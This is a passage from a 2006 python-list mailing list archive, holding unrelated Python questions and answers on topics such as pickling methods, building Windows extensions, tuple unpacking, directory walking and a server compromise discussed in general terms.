scott.daniels at acm.org


From richardjones at optushome.com.au  Sat Oct  7 22:32:28 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Sun, 08 Oct 2006 12:32:28 +1000
Subject: New-style classes slower than old-style classes? (Was: n-body
	problem at shootout.alioth.debian.org)
References: <eg6bku$59b$1@online.de>
	<61JVg.138429$_J1.903927@twister2.libero.it>
	<eg90ip$uds$1@online.de>
	<gqXVg.139277$_J1.908863@twister2.libero.it>
Message-ID: <4528633c$0$3249$afc38c87@news.optusnet.com.au>

Giovanni Bajo wrote:

> Peter Maas wrote:
> 
>>> Did you try using an old-style class instead of a new-style class?
>>
>> The original program has an old style class, changing it to a new
>> style class increases run time by 25% (version is 2.4.3 btw).
> 
> Ah yes. Years ago when I first saw this test it was still using new-style
> classes.
> 
> Anyway, this is a bug on its own I believe. I don't think new-style
> classes are meant to be 25% slower than old-style classes. Can any guru
> clarify this?

Please try 2.5 - there's been significant optimisation work put into 2.5


    Richard



From skip at pobox.com  Mon Oct 16 17:17:31 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 16 Oct 2006 16:17:31 -0500
Subject: RELEASED Python 2.4.4, release candidate 1
In-Reply-To: <4533EC84.1040402@rpath.com>
References: <200610121733.11507.anthony@python.org>
	<4533EC84.1040402@rpath.com>
Message-ID: <17715.63211.185826.215411@montanaro.dyndns.org>


    Jonathan> When trying to build 2.4.4c1 with cross-compiling, I get the
    Jonathan> following error.

Can you file a bug report on SourceForge please?

Thx,

Skip


From chrisspen at gmail.com  Fri Oct 20 19:58:22 2006
From: chrisspen at gmail.com (Chris)
Date: 20 Oct 2006 16:58:22 -0700
Subject: Why can't you pickle instancemethods?
In-Reply-To: <1161384201.118969.191540@k70g2000cwa.googlegroups.com>
References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>
	<1161384201.118969.191540@k70g2000cwa.googlegroups.com>
Message-ID: <1161388701.951474.141450@f16g2000cwb.googlegroups.com>

mdsteele at gmail.com wrote:
> Chris wrote:
> > Why can pickle serialize references to functions, but not methods?
> >
> > Pickling a function serializes the function name, but pickling a
> > staticmethod, classmethod, or instancemethod generates an error. In
> > these cases, pickle knows the instance or class, and the method, so
> > what's the problem? Pickle doesn't serialize code objects, so why can't
> > it serialize the name as it does for functions? Is this one of those
> > features that's feasible, but not useful, so no one's ever gotten
> > around to implementing it?
>
> I have often wondered this myself.  I'm convinced that it would in fact
> be useful -- more than once I've written a program that has lots of
> objects with function pointers, and where it was inconvenient that the
> method pointers could not be pickled.  One compromise that I have used
> before is to write a class such as:
>
> class InstanceMethodSet(object):
>     def __init__(self,methods):
>         self.methods = set(methods)
>     def __getstate__(self):
>         return [(method.im_self, method.im_func.func_name)
>                 for method in self.method]
>     def __setstate__(self,state):
>         self.methods = set(getattr(obj,name) for obj,name in state)
>
> Obviously, this particular example is crude and not terribly robust,
> but it seems to do the job -- it effectively lets you pickle a set of
> instance method pointers.  I don't know of any reason why instance
> methods (or class or static methods) couldn't be pickled directly,
> unless perhaps there exists some kind of pathological corner case that
> would create Badness?
>
> -Matt

Thanks, that's quite clever. Although I think you'd still have to
explicitly specify im_self for staticmethods. I could imagine a similar
callable proxy that simply removes the direct method reference from the
equation:

class MethodProxy(object):
    def __init__(self, obj, method):
        self.obj = obj
        if isinstance(method, basestring):
            self.methodName = method
        else:
            assert callable(method)
            self.methodName = method.func_name
    def __call__(self, *args, **kwargs):
        return getattr(self.obj, self.methodName)(*args, **kwargs)

picklableMethod = MethodProxy(someObj, someObj.method)



From wilson1442 at bellsouth.net  Fri Oct 13 11:39:25 2006
From: wilson1442 at bellsouth.net (JW)
Date: Fri, 13 Oct 2006 11:39:25 -0400
Subject: building extensions for Windows Python
Message-ID: <pan.2006.10.13.15.39.25.338194@bellsouth.net>

I have a lousy little Python extension, generated with the generous help
of Pyrex.  In Linux, things are simple.  I compile the extension, link it
against some C stuff, and *poof*! everything works.

My employer wants me to create a Windows version of my extension that
works with the vanilla Python 2.5 from python.org.

My employment contract states that I won't be required to run Windows, and
I desperately want to honor that clause. Ideally,  I'd somehow MinGw cross
compile like I do with C/C++ and *poof*!, out would pop a file I could
hand out to someone who wanted to "import <my_lousy_extension>".

In Windows, things aren't so simple.  I'm immediately bedazzled by a vast,
unfamiliar nomenclature: "VC6", "VC7.1", "msvcrt", "msvcr71", "msvcr80",
"VS2005", "VS2007", "MSVC2003", "MSVC2005", "Express Edition", ".NET SDK",
etc. 

The python.org "recommended compiler" is apparently no longer
available, but someone posted a link to an obscure Microsoft webpage
artifact where it could still be obtained.  Running it under WINE is less
than ideal, but I decided to try and make it work.  However, when I tried
installing the compiler, it failed because my "Internet Explorer [was] out
of date."  I'm not sure how IE comes into the picture, but I'm just a
programmer, after all.

I am further confused by the python.org docs on using MinGw to build
extensions:  "These instructions only apply if you're using a version of
Python prior to 2.4.1 with a MinGW prior to 3.0.0", but further on:
"pcexports python25.dll >python25.def" seems to contradict that.  It
really makes no difference.  The referenced webpage where the "pcexports"
tool is found seems defunct.

My main problem is that I don't really grasp the big picture.  Can someone
give me an overview of the requirements to build extensions for Windows
Python, circa 2.5?  Or, can I tell my employer she'll just have to
hire/contract a Windows expert to do the mud wrestling?

Jim Wilson
Gainesville, FL


From jstroud at mbi.ucla.edu  Sun Oct 29 07:32:41 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 29 Oct 2006 12:32:41 GMT
Subject: enumerate improvement proposal
In-Reply-To: <mailman.1435.1162124420.11739.python-list@python.org>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
Message-ID: <Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>

Fredrik Lundh wrote:
> why is it this function's job to add an offset to the actual sequence 
> index?
> 
> </F>

The code is for an economist. She is insistent on starting with the 
first bin as 1. I'm guessing, practically, binning linerizes data and 
the bin number may potentially become a divisor or perhaps the operand 
in a logarithm.

James


From jstroud at mbi.ucla.edu  Thu Oct 19 13:56:37 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 19 Oct 2006 17:56:37 GMT
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <7iNZg.117$1n3.3352@news.tufts.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
Message-ID: <p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>

John Salerno wrote:
> rick wrote:
> 
>> Why can't Python have a reverse() function/method like Ruby?
> 
> 
> I'm not steeped enough in daily programming to argue that it isn't 
> necessary, but my question is why do you need to reverse strings?

It would provide symmetry for reversing any sequence (without requiring 
an iterator).

(1,2,3).reversed()

"123".reversed()

[1,2,3].reversed()



-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From edward_waugh at hotmail.com  Mon Oct  9 18:05:41 2006
From: edward_waugh at hotmail.com (Edward Waugh)
Date: Mon, 09 Oct 2006 15:05:41 -0700
Subject: Initialization of variables using no-arg constructor
Message-ID: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>

Consider the following (working) Python code:

import sys

def sum(list):
    # total = 0 does not work for non-numeric types
    total = list[0].__class__()
    for v in list:
        total += v
    return total

l = [1, 2, 3]
print sum(l)

l = [1.1, 2.2, 3.3]
print sum(l)

l = ["a", "b", "c"]
print sum(l)

In order for sum() to be generic I initialize total to the value of 
list[0].__class__().  This works but I would like to know if this is the 
correct or preferred way of doing it.  It means that sum() must be given a 
list whose elements are types or classes that have a no-arg constructor 
(through this is probably almost always the case).

Thanks,
Edward




From ewijaya at i2r.a-star.edu.sg  Thu Oct 26 05:06:37 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Thu, 26 Oct 2006 17:06:37 +0800
Subject: Printing Hidden Character in Python
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
	<87ejsvihaj.fsf@benfinney.id.au>
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615D7@mailbe01.teak.local.net>


Ben,
 
I mean while opening a file, like this

for line in open('somefile.txt'):
    print line

printing "line" will not show the hidden chars like "\n","\r".
Is there  a way to print it out?
 
-- Edward WIJAYA
SINGAPORE

________________________________

From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Ben Finney
Sent: Thu 10/26/2006 4:59 PM
To: python-list at python.org
Subject: Re: Printing Hidden Character in Python



Wijaya Edward <ewijaya at i2r.a-star.edu.sg> writes:

> How can we print out the hidden character like "\n", "\r" etc in
> Python?

What result do you want that you're not getting with:

    print "\n"

--
 \      "Two rules to success in life: 1. Don't tell people everything |
  `\                                         you know."  -- Sassan Tat |
_o__)                                                                  |
Ben Finney

--
http://mail.python.org/mailman/listinfo/python-list



------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From lemke_juergen at yahoo.de  Sun Oct 29 15:18:06 2006
From: lemke_juergen at yahoo.de (lemke_juergen at yahoo.de)
Date: 29 Oct 2006 12:18:06 -0800
Subject: "from module import *" and modifying module's top-level vars
Message-ID: <1162153086.050052.51610@k70g2000cwa.googlegroups.com>

Hi everyone,

I define some vars and functions in a "support" module which gets
called from my
main app module. Using Python 2.5.

I import all symbols in the support module at the top of the main
module through:

from support import *

Is there a way for me to modify a top-level ("global"?) variable
defined in module
support from the code in the main module and still have those changes
visible to
code in the support module?

Consider the following example:

# support.py

globvar = "old"

def fun():
    print "fun(): globvar==" + globvar

# main.py

from support import *
global globvar # had hoped this would do the trick (as it does when
placed inside a function call)
glob = "new"

print "top level(): glob==" +glob

fun() # defined inside support

Calling main.py outputs

top level(): glob==new
fun(): glob==old

How can I get the assignment to globvar performed inside module main.py
to be
felt by the code in support.py?

Thanks in advance!

Best

Juergen Lemke



From gagsl-py at yahoo.com.ar  Fri Oct 20 16:18:17 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 17:18:17 -0300
Subject: why does this unpacking work
In-Reply-To: <Qe9_g.129$1n3.3113@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
Message-ID: <7.0.1.0.0.20061020170950.05b4c570@yahoo.com.ar>

At Friday 20/10/2006 16:14, John Salerno wrote:

>I'm a little confused, but I'm sure this is something trivial. I'm
>confused about why this works:
>
>  >>> t = (('hello', 'goodbye'),
>       ('more', 'less'),
>       ('something', 'nothing'),
>       ('good', 'bad'))
>I understand that t returns a single tuple that contains other tuples.
>Then 'for x in t' returns the nested tuples themselves.
>
>But what I don't understand is why you can use 'for x,y in t' when t
>really only returns one thing. I see that this works, but I can't quite
>conceptualize how. I thought 'for x,y in t' would only work if t
>returned a two-tuple, which it doesn't.

You can think of

for x in t:
   whatever

as meaning "for each element contained in t, name it x and do whatever"

The other concept involved is unpacking:
 >>> w = (1,2,3)
 >>> x,y,z = w
 >>> x
1

When you say "for x,y in t:" there is an implicit unpacking, it means 
"for each element contained in t, unpack it into x and y and do whatever"

>What seems to be happening is that 'for x,y in t' is acting like:
>
>for x in t:
>      for y,z in x:
>          #then it does it correctly

No, it acts like:

for w in t:
   x,y = w
   ...


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From robert.kern at gmail.com  Mon Oct  9 16:06:53 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 09 Oct 2006 16:06:53 -0400
Subject: switching to numpy and failing, a user story
In-Reply-To: <ege3vc$gj6$1@sea.gmane.org>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>	<mailman.33.1160258991.11739.python-list@python.org>	<1160399089.004617.120480@h48g2000cwc.googlegroups.com>
	<ege3vc$gj6$1@sea.gmane.org>
Message-ID: <egea4s$9c8$1@sea.gmane.org>

Apologies for the dupe. It looked like something went wrong with the first send 
(and the first post was partly incorrect to begin with).

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From skip at pobox.com  Sun Oct  8 17:36:02 2006
From: skip at pobox.com (skip at pobox.com)
Date: Sun, 8 Oct 2006 16:36:02 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <egbq0f$iah$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
	<452966A2.1090107@v.loewis.de> <egbq0f$iah$1@sea.gmane.org>
Message-ID: <17705.28482.309758.386713@montanaro.dyndns.org>


    Fredrik> you need tools to help you track the bugs and their status, but
    Fredrik> you can handle issue registration, discussion, and most
    Fredrik> maintenance stuff using good old mail just fine.

Which is something SourceForge has yet to learn.  At work we use a system
called RT (http://www.bestpractical.com/rt/).  While it's not perfect, it
does allow submissions and responses via email.  That feature alone puts it
miles ahead of SF in my mind.

Skip


From rurpy at yahoo.com  Mon Oct 16 03:25:23 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 16 Oct 2006 00:25:23 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1160974552.906162.115060@k70g2000cwa.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
Message-ID: <1160983523.518768.16110@e3g2000cwe.googlegroups.com>


George Sakkis wrote:
> rurpy at yahoo.com wrote:
> > Robert Hicks wrote:
> > > rurpy at yahoo.com wrote:
> > > > T. Bryan wrote:
> > > > > starship.python.net was compromised.  It looked like a rootkit may have been
> > > > > installed.  The volunteer admins are in the process of reinstalling the OS
> > > > > and rebuilding the system.  That process will probably take a few days at
> > > > > least.
> > > >
> > > > Does anyone know more?
> > > >
> > > > What about the integrity of the python packages hosted there?
> > > > When was the site compromised?
> > > > I just installed the python 2.5 pywin module last week.
> > > > Should I be concerned?
> > > >
> > > > Is this related to the Python security problem recently announced?
> > >
> > > Did you even read about the vulnerability?
> >
> > Yes.  Do you have any answers, or do you just enjoy posting irrevelant
> > responses?
>
> I guess his response implied that what's irrelevant here is the
> vulnerability, and accordingly your worries about it.

Then perhaps he should have said that, in which case I would
have explained why he did not understand what he read.  Let me
try again...

1. A site which hosts (I think, hence the questions) a number
of high profile, popular python projects was compomised.
2. It was compromised with a root kit which by their nature,
often go undetected for a long time.
3. It is common for miscreants to attempt to introduce
backdoors into software that will be widely distributed.
4. Anyone downloading and installing such trojaned software
will also be compromised.
5. Verifying that such a thing has not happened can be very
difficult, particularly if the date and other details of the
compromise cannot be accurately determined.
6. Many organisations give image and pr a higher priority
than the safety of their customers/users and wave off security
breechs with "don't worry, everything is fine.  We're sure
nothing has been touched" when in fact they have no idea.
7. I have seen no public statements or information about
this leading me to wonder about the stuation and how it's
being handled, hence my seeking of further information.

That's what I am concerned about, ok?
I don't really care how the site was compromised and my
question about the python security vunerability was curiosity.

But, I am still completely at a loss why you, he, or anyone,
based on the information presented so far,.would conclude
that the python security problem is unrelated.
Care to enlighten me?
But more inmportantly, how about addressing my original
questions which are, even if you do not think so, pretty
important for anyone who has recently downloaded software
from or built there.



From scott.daniels at acm.org  Sun Oct  1 18:48:48 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 15:48:48 -0700
Subject: how to reuse class deinitions?
In-Reply-To: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
Message-ID: <45203df3$1@nntp0.pdx.net>

sam wrote:
> pretty straightforward question here, i think. i'm experimenting with
> classes and have written a File class that looks like it's worth
> keeping for future use. however, i cannot work out where to put it for
> this purpose or how to get it in.

What I do:

For each new major version of python, in .../site-packages I make a
directory "sdd" (my initials).  In it I put an empty file named
"__init__.py".  When I have things I want to reuse, I put them in
files named things like ".../site-packages/sdd/goodidea.py", and
I get use of them in python programs like:

     from sdd.goodidea import File
     ...
     <code that uses File>
     ...

or (actually my current style):
     from sdd import goodidea
     ...
     <code that uses goodidea.File>
     ...

--Scott David Daniels
scott.daniels at acm.org


From ms at cerenity.org  Sun Oct  1 08:24:37 2006
From: ms at cerenity.org (Michael)
Date: Sun, 01 Oct 2006 13:24:37 +0100
Subject: Help me use my Dual Core CPU!
References: <mailman.348.1158066516.5279.python-list@python.org>
	<28ljt3-tcq.ln1@lairds.us> <450730C4.8020408@mvista.com>
	<mailman.405.1158107055.5279.python-list@python.org>
	<7x4pv753mq.fsf@ruckus.brouhaha.com>
	<1158622096.384055.215610@e3g2000cwe.googlegroups.com>
	<7xd59np3zy.fsf@ruckus.brouhaha.com>
	<451c25d6$0$24474$ed2e19e4@ptn-nntp-reader04.plus.net>
	<7xejtsb5v8.fsf@ruckus.brouhaha.com>
Message-ID: <451fb54a$0$8735$ed2619ec@ptn-nntp-reader02.plus.net>

Paul Rubin wrote:

> Michael <ms at cerenity.org> writes:
>> > But ordinary programmers write real-world applications with shared data
>> > all the time, namely database apps.
>> 
>> I don't call that shared data because access to the shared data is
>> arbitrated by a third party - namely the database. I mean where 2 or
>> more people[*] hold a lock on an object and share it - specifically
>> the kind of thing you reference above as turning into a mess.
> 
> Ehhh, I don't see a big difference between having the shared data
> arbitrated by an external process with cumbersome message passing,
> or having it arbitrated by an in-process subroutine or even by support
> built into the language.  If you can go for that, I think we agree on
> most other points.

The difference from my perspective is that there are two (not mutually
exclusive) options:
   A Have something arbitrate access and provide useful abstractions
     designed to simplify things for the user.
   B Use a lower level abstraction (eg built into the language, direct
     calling etc)

I don't see these as mutually exclusive, except the former is aimed at
helping the programmer, whereas the latter can be aimed at better
performance. In which case you're back to the same sort of argument
regarding assembler, compiled or dymanic languages are a good idea, and I'd
always respond with "depends on the problem in hand".

As for why you don't see much difference I can see why you think that,
but I personally believe that with A) you can shared best practice [1],
whereas B) means you need to be able to implement best practice.

   [1] Which is always an opinion :) (after all, once upon a time people
       thought goto was a good idea :)

>> > This is just silly, and wasteful of the
>> > efforts of the hardworking chip designers
> 
>> Aside from the fact it's enabled millions of programmers to deal with
>> shared data by communicating with a database?
> 
> Well, sure, but like spreadsheets, its usefulness is that it lets
> people get non-computationally-demanding tasks (of which there are a
> lot) done with relatively little effort.  More demanding tasks aren't
> so well served by spreadsheets, and lots of them are using databases
> running on massively powerful and expensive computers when they could
> get by with lighter weight communications mechanisms and thereby get
> the needed performance from much cheaper hardware.  That in turn would
> let normal folks run applications that are right now only feasible for
> relatively complex businesses.  If you want, I can go into why this is
> important far beyond the nerdy realm of software geekery.

I'd personally be interested to hear why you think that. I can think of
reasons myself, but would be curious to hear yours.

>> For generator based components we collapse inboxes into outboxes
>> which means all that's happening when someone puts a piece of data
>> into an outbox, they're simply saying "I'm no longer going to use
>> this", and the recipient can use it straight away.
> 
> But either you're copying stuff between processes, or you're running
> in-process without multiprocessor concurrency, right?

For generator components, that's in-process and not multiprocessor
concurrency, yes.

For threaded components we use Queue.Queues, which means essentially the
reference is copied for most real world data, not the data itself.

One step at a time I suppose really :-) One option for interprocess sharing
we're considering (since POSH looks unsupported, alpha, and untested on
recent pythons), is to use memory mapped files. Thing is that means
serialising everything which could be icky, so it'll have to be something
we come back to later.

(Much of our day to day work on Kamaelia is focussed on solving specific
problems for work which rolls back into fleshing out the toolkit. It would
be extremely nice to spend time on solving a particular issue that would
benefit from optimising interprocess comms).

If we can make kamaelia benefit from the work the hardware people have done
for shared memory, that's great. However it's interesting to see things
like the CELL don't tend to use shared memory, and use this style of
communications approach. What approach will be most useful going forward?
Dunno :-) I'm only claiming we find it useful :)

>> This is traditional-lock free,
> 
>> > Lately I've been reading about "software transactional memory" (STM),
> 
>> I've been hearing about it as well, but not digged into it....
>> If you do dig out those STM references, I'd be interested :-)
> 
> They're in the post you responded to:

Sorry, brain fart on my part. Thanks :-)


Michael.




From bignose+hates-spam at benfinney.id.au  Mon Oct  9 20:48:38 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 10:48:38 +1000
Subject: doesNotUnderstand?
References: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.com>
Message-ID: <87lknp9es9.fsf@benfinney.id.au>

"Liquid Snake" <liquidsnk at gmail.com> writes:

> But i still want to know if theres a method like __insertMethodNameHere__? that does it for
> me... or if you think it's a nice thing to have...
> i'm REALLY SORRY for my REALLY BAD English... so..., don't hate me please..
> And I'm sorry if this question wasted your time.

If you could see your way to separating paragraphs with a blank line,
that would be a big benefit for people trying to read your message;
any remaining problems with your English are minor in comparison to
that.

-- 
 \     "Never do anything against conscience even if the state demands |
  `\                                          it."  -- Albert Einstein |
_o__)                                                                  |
Ben Finney



From alan.franzoni.xyz at gmail.com  Thu Oct 12 12:07:05 2006
From: alan.franzoni.xyz at gmail.com (Alan Franzoni)
Date: Thu, 12 Oct 2006 18:07:05 +0200
Subject: Compile python on Solaris 64bit
References: <mailman.383.1160664380.11739.python-list@python.org>
Message-ID: <1dw6q4qapo6yq.63xb9htpemue$.dlg@40tude.net>

Il Thu, 12 Oct 2006 16:46:19 +0200 (CEST), Martijn de Munnik ha scritto:

> Hi,
> 
> I want to compile python on my solaris 10 system (amd 64 bit).

Just a question... AFAIK, Solaris 10 64 bit includes binaries & kernels for
both 64 bit and 32 bit machines. Which binaries are you actually using? I
think there could be some configuration mismatch between running binaries
and environment variables that could confuse the compiler.

-- 
Alan Franzoni <alan.franzoni.xyz at gmail.com>
-
Togli .xyz dalla mia email per contattarmi.
Rremove .xyz from my address in order to contact me.
-
GPG Key Fingerprint:
5C77 9DC3 BD5B 3A28 E7BC 921A 0255 42AA FE06 8F3E 
-
Blog: http://laterradeglieroi.verdiperronchi.com


From timr at probo.com  Sun Oct  8 00:06:33 2006
From: timr at probo.com (Tim Roberts)
Date: Sun, 08 Oct 2006 04:06:33 GMT
Subject: Is there an alternative to os.walk?
References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
	<1159988816.166699.307450@k70g2000cwa.googlegroups.com>
	<1160242450.515582.304510@i42g2000cwa.googlegroups.com>
Message-ID: <55ugi298haq1e7084nussjlkujq8rlf3dd@4ax.com>

"Bruce" <epost2 at gmail.com> wrote:
>
>A little late but.. thanks for the replies, was very useful. Here`s
>what I do in this case:
>
>def search(a_dir):
>   valid_dirs = []
>   walker = os.walk(a_dir)
>   while 1:
>       try:
>           dirpath, dirnames, filenames = walker.next()
>       except StopIteration:
>           break
>       if dirtest(dirpath,filenames):
>           valid_dirs.append(dirpath)
>   return valid_dirs
>
>def dirtest(a_dir):
>   testfiles = ['a','b','c']
>   for f in testfiles:
>       if not os.path.exists(os.path.join(a_dir,f)):
>           return 0
>   return 1
>
>I think you`re right - it`s not os.walk that makes this slow, it`s the
>dirtest method that takes so much more time when there are many files
>in a directory. Also, thanks for pointing me to the path module, was
>interesting.

Umm, may I point out that you don't NEED the "os.path.exists" call, because
you are already being HANDED a list of all the filenames in that directory?
You could "dirtest" with this much faster routinee:

def dirtest(a_dir,filenames):
    for f in ['a','b','c']:
        if not f in filenames:
            return 0
    return 1
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From g.brandl-nospam at gmx.net  Sun Oct 29 04:24:36 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 29 Oct 2006 10:24:36 +0100
Subject: question about True values
In-Reply-To: <ur6wrd408.fsf@sbcglobal.net>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
	<mailman.1386.1162001801.11739.python-list@python.org>
	<pan.2006.10.28.06.28.46.427735@REMOVE.THIS.cybersource.com.au>
	<ei0ih8$2pq$1@chiara.aioe.org> <87u01oug78.fsf@nandi.2wire.net>
	<ei1hkb$36i$1@news.albasani.net> <ur6wrd408.fsf@sbcglobal.net>
Message-ID: <ei1ono$cpc$1@news.albasani.net>

Chetan wrote:

>>> I am joining after some network downtime here, so I seem to have missed what
>>> the real issue here is. At the risk of being completely irrelevant to the
>>> discussion here, I think it doesn't seem to be just about something or
>>> nothing - is None something or nothing? It seems to be neither:
>>
>> If is, of course, nothing. You may have misunderstood the semantics of the
>> "and" and "or" operators.
> 
> I have not. I just posted another message on the subject. All I am trying to
> point out is that the "nothingness" evaluation does not occur at the level of
> expressions. It is only when the expression is needed to make decisions about
> control flow that this comes into picture. 

This is not correct. "and" and "or" involve truth (or "somethingness") 
evaluation, as you can see from this example:

Python 2.5 (r25:51908, Sep 22 2006, 10:45:03)
 >>> class A:
...     def __nonzero__(self):
...         print "nonzero"
...         return True
...
 >>> A() and 1
nonzero
1
 >>>

Georg


From buzzard at urubu.freeserve.co.uk  Wed Oct 25 20:45:47 2006
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Thu, 26 Oct 2006 01:45:47 +0100
Subject: What's the best IDE?
In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
Message-ID: <45400967.0@entanet>

Hakusa at gmail.com wrote:
> After researching Komodo, I found it's not free. The only funds I have
> are a college fund, and I can't start diping into that until I'm going
> to college. Any free AND good IDEs?
> 

http://wiki.python.org/moin/IntegratedDevelopmentEnvironments

Duncan


From hg at nospam.com  Tue Oct  3 08:47:30 2006
From: hg at nospam.com (hg)
Date: Tue, 03 Oct 2006 07:47:30 -0500
Subject: I need Cryptogrphy in Python please .
In-Reply-To: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
Message-ID: <i4tUg.8213$Go3.7409@dukeread05>

NicolasG wrote:
> Looking around for a Cryptography tool kit, the best recommendations I
> found about was for pyCrypto. I try to install it unsuccessfully in my
> windowsXP SP2 with python 2.4.3 and I get the following message :
> C:\Python24\pycrypto-2.0.1>python setup.py build
> running build
> running build_py
> running build_ext
> error: The .NET Framework SDK needs to be installed before building
> extensions f
> or Python.
> 
> I have installed .NET framework latest release.
> Unfortunately the pyCrypto project looks abandoned , I couldn't find an
> active mailing list and the last release are a couple of year old.
> 
> Can some one guide me how to fix the problem above or point me to
> another Cyrptography library that I can use easily ?
> 
> Thanks.
> 


I use pycrypto under *nix and Windows. Under windows, I compile it with
VC++ 2003 without any problem.

hg


From fredrik at pythonware.com  Wed Oct 11 06:38:55 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 12:38:55 +0200
Subject: Can pdb be set to break on warnings?
References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com><mailman.302.1160559542.11739.python-list@python.org>
	<1160562703.933794.138980@b28g2000cwb.googlegroups.com>
Message-ID: <egihjv$8qo$1@sea.gmane.org>

"LorcanM" wrote:

>>      python -m pdb -Werror myprogram.py
>
> It sounds like what I want, but it doesn't work for me. When I try the
> above line of code, it replies:
>
> Error: -Werror does not exist
>
> I'm running Python 2.4.3

sorry, pilot cut and paste error.  try:

    python -Werror -m pdb myprogram.py

(-m script must be the last option before the script arguments, for pretty
obvious reasons).

</F> 





From fredrik at pythonware.com  Mon Oct 30 05:43:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 11:43:29 +0100
Subject: Easy PIL Question?
In-Reply-To: <1162204777.208562.220740@f16g2000cwb.googlegroups.com>
References: <1162204777.208562.220740@f16g2000cwb.googlegroups.com>
Message-ID: <ei4l0g$6o4$1@sea.gmane.org>

pinkfloydhomer at gmail.com wrote:

> I want to do something very simple:
> 
> I want to read a palette image (256 color PNG or BMP for instance), and
> then just to output the image data as numbers (palette indexes, I
> guess).

it's explained in the documentation, of course:

     http://effbot.org/imagingbook/image.htm#Image.getdata

</F>



From cameron.walsh at gmail.com  Tue Oct 24 02:05:35 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Tue, 24 Oct 2006 14:05:35 +0800
Subject: python GUIs comparison (want)
In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
Message-ID: <ehkaet$rfq$1@enyo.uwa.edu.au>

jiang.haiyun at gmail.com wrote:
